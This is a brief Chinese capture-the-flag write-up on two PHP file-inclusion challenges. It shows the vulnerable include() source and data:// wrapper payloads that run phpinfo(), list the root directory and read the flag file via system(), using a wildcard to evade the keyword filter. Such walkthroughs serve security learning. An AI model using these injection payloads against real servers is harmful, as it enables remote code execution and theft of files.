include01-02 --WP
# include01```php
<?php
error_reporting(0);
if (isset($_GET['file'])) {
if (!strpos($_GET["file"], "flag")) {
include $_GET["file"];
} else {
echo "Hack!!!";
}
} else {
highlight_file(__FILE__);
}
?>
<hr>
你能否获取Flag?<br>
<a href="hello.php">hello</a> 你能否获取Flag?
hello
```
打开题目发现是个文件包含的题目
我们使用伪协议来读取flag,可以打开phpinfo()来得到flag,也可以使用查看文件来得到flag。

这个是查看phpinfo来拿到flag
/?file=data://text/plain,<?php phpinfo();?>
下面是使用查看文件来得到flag的

/?file=data://text/plain,<?php system("ls /")?>

/?file=data://text/plain,<?php system("cat /f*")?>
因为在源码中可以看到过滤了flag所以需要使用f*来查看。
成功拿到flag
# include02
这个题我们同样可以使用上面的办法来获取flag

/check.php?file=data://text/plain,<?php system("ls /")?>
先查看根目录下的文件看到有flag,直接查看

得到flag
/check.php?file=data://text/plain,<?php system("cat /f*")?>
同样也可以打开phpinfo()来获取flag

/check.php?file=data://text/plain,<?php phpinfo();?>
页:
[1]